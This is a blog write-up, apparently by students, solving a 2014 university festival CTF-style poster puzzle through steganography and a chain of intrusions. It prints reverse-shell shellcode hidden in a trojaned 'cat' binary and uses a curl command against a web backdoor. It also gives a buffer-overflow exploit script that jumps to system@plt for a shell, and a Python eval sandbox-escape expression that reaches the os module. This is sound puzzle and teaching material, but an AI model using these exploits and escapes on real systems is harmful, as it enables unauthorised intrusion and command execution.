Student Festival Puzzle 2014

学生节延续上一年传统出了海报谜题:

密文bits依旧直接存在图里, 拿出来作为二进制写进文件:

echo "ibase=2;obase=10000;$(strings poster.jpg  | tail -n1)" | bc | tr -d '\\\n' | xxd -r -p > poster-bin
$ file poster-bin

file一下发现是zlib压缩的, 于是解压:

$ python2 -c 'import zlib; print zlib.decompress(open("poster-bin").read())

得到如下输出:

=== AW▉▉M 联合作战组Z小队第27次会议摘要 ===

2014年▉▉月16日 【绝密】

尊敬的▉▉▉▉▉▉:

您收到这份拷贝意味着您自动加入▉▉▉▉,保密等级提升至▉▉▉▉。已由▉▉代您签署▉▉▉▉▉,该代理行为由▉▉▉第▉▉▉号令批准。请您遵守▉▉▉▉▉▉,请阅后即刻销毁。

·关于病毒▉▉or▉ A▉▉RM是从未见过的▉▉▉,在其自律进化系统的作用下,已进化出群体尺度上的智能。▉▉尚未有任何关于智能形成日期的估计,因为有▉▉可以证明其进行过反图灵测试行为。反图灵测试行为指对智能特征进行刻意隐藏,同时封锁▉▉▉,篡改▉▉ ▉行为也被观测到。有证据表明该智能体对于全角▉号的使用者存在蔑视行为,对带有▉▉▉▉的内容审查强度稍低。

·我们的现状 AW▉▉M已经掌握了这个地球上的78.3▉%的计算资源,无法确定▉▉▉空间站是否受其影响。日前B▉▉coin体系的崩溃导致了对其高度依赖的人类经济面临着严重危机。然而这恐怕只是它的一小步。据可信估计,我们认为它的目标是▉▉ ▉▉▉。

·▉▉▉的消息 事情有所转机,D小队覆灭前获得到了它的早期样本。样本可以在t.cn/Rz1kOLc获取。我们正在被监视,无法绕过它的眼睛接触样本。除了通过特殊手段给您这份拷贝我们无能为力。愿主神保佑我们,请记住:▉▉▉▉▉▉

访问提供的那个链接, 得到一个二进制的cat文件.

这个cat的行为目测跟系统的cat一样, 比较一下objdump出来发现多了一段东西, 比较readelf发现东西跟在eh_frame字 段后面. 于是

$ readelf -S cat --hex-dump=.eh_frame > ehframe.hex
$ cat ehframe.hex
.....
0x0040b0c0 ffe56a29 58996a02 5f6a015e 0f054897 ..j)X.j._j.^..H.
0x0040b0d0 48b90200 0539ca70 33c15148 89e66a10 H....9.p3.QH..j.
0x0040b0e0 5a6a2a58 0f056a03 5e48ffce 6a21580f Zj*X..j.^H..j!X.
0x0040b0f0 0575f66a 3b589948 bb2f6269 6e2f7368 .u.j;X.H./bin/sh
0x0040b100 00534889 e7525748 89e60f05          .SH..RWH....

发现最后有/bin/sh, 像是个shellcode, blahgeek说搜索一下就能找到, 于是在github上找到了一段基本一样的shellcode. 对比shellcode, 得到ip+port: 202.112.51.193:1337

http://202.112.51.193 是一个计算机系主页的fork, 页面中藏有importantFile=ADoG字样提示, robots中藏有Disallow: /backdoor/.

因此 GET http://202.112.51.193/backdoor/ADoG 得到提示, 说可以POST command, 于是:

$ curl -X POST --data "command=ls -lh" http://202.112.51.193/backdoor/ADoG

发现服务器上有secret.wav文件. 再利用cat将文件取回本地, 听起来挺神秘的...分析不动

第二天得到提示说LSB(least significant bits), 于是用matlab得到所有bits, 并转为16进制观察:

$ matlab -nodisplay -r clc <<< "x=wavread('secret.wav');bitand(x*32768+32768,1)"  | tail -n+14 | head -n-2 | tr -d ' \n' > wav-bits
$ echo "ibase=2;obase=10000;$(<wav-bits)" | bc | tr -d '\\\n'

发现明显的周期性, 有一段数据162E2E0E5CF4F44C0C4C748C8C4C74AC8C744C4CEC5CAC1CCC8C2CF4在反复出现.将其转为二进制, 按8位一行显示:

$ python2 -c 'for k in "162E2E0E5CF4F44C0C4C748C8C4C74AC8C744C4CEC5CAC1CCC8C2CF4": print format(int(k, 16), "04b")' | tr -d '\n' | fold -w8 > wav-bits
$ cat wav-bits
00010110
00101110
00101110
00001110
01011100
11110100
11110100
01001100
00001100
01001100
01110100
10001100
10001100
01001100
01110100
10101100
10001100
01110100
01001100
01001100
11101100
01011100
10101100
00011100
11001100
10001100
00101100

看见最后一列均为0, 因此开哥猜到将每一行reverse之后就是ascii.

$ rev wav-bits | perl -lpe '$_=pack"B*",$_' | paste -sd ''
http://202.112.51.227:58314/

得到一个新的服务的地址. 访问可以看到一个自制的http服务,并且提供了源代码.

代码里可以看到一个明显的buffer overflow漏洞,然而由于地址随机化,没法很好的利用.但是代码里出现了system调用, 暴露了system@plt这个符号的位置,因此考虑利用溢出将返回地址修改至此处. 而system调用执行的命令可以利用传入的path存入全局的cookie里,以实现任意命令执行. 唯一需要注意的是 shellcode中不能出现tab,space这些字符,以保证shellcode通过scanf正确写入.

from zio import *   # https://github.com/zTrix/zio
import sys
shellcode = 'C' + 'sh'
path = shellcode + '\x00' * (256 - len(shellcode)) + 'C' * 12 + \
        '\x50\x85\x04\x08' + 'CCCC' + '\x71\xcf\x04\x08'
exploit = 'GET {} HTTP/1.1\r\nHost: 1.2.3.4'.format(path)
io = zio(('202.112.51.227'58314))
io.writeline(exploit)
io.interact()

得到shell后,发现一个奇怪的日记,里面的内容写的挺不错.

日记里提到了新服务, 访问那个服务并且尝试了一会之后, 猜想是一个python的eval的shell.

python的eval自然是有注入漏洞的, 然而这题的服务,在eval之前做了如下的处理来限制eval的能力:

from sys import modules
modules.clear()
del modules
__builtins__.__dict__.clear()
__builtins__ = None

执行了这些操作之后, python的内置函数就都无法使用了,甚至eval本身都已经不存在了,需要事先备份一个. 此时, 只有依靠最基本的语法,来找回必要的功能. 在网上找到了这么一个表达式, 没有利用任何函数, 但可以eval出module os:

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["os"]

有了os之后, 可以listdir了, 用object的subclasses还能够找到module file, 因此也可以读文件. 最后直接在目标服务器上读到了最终答案.

Comments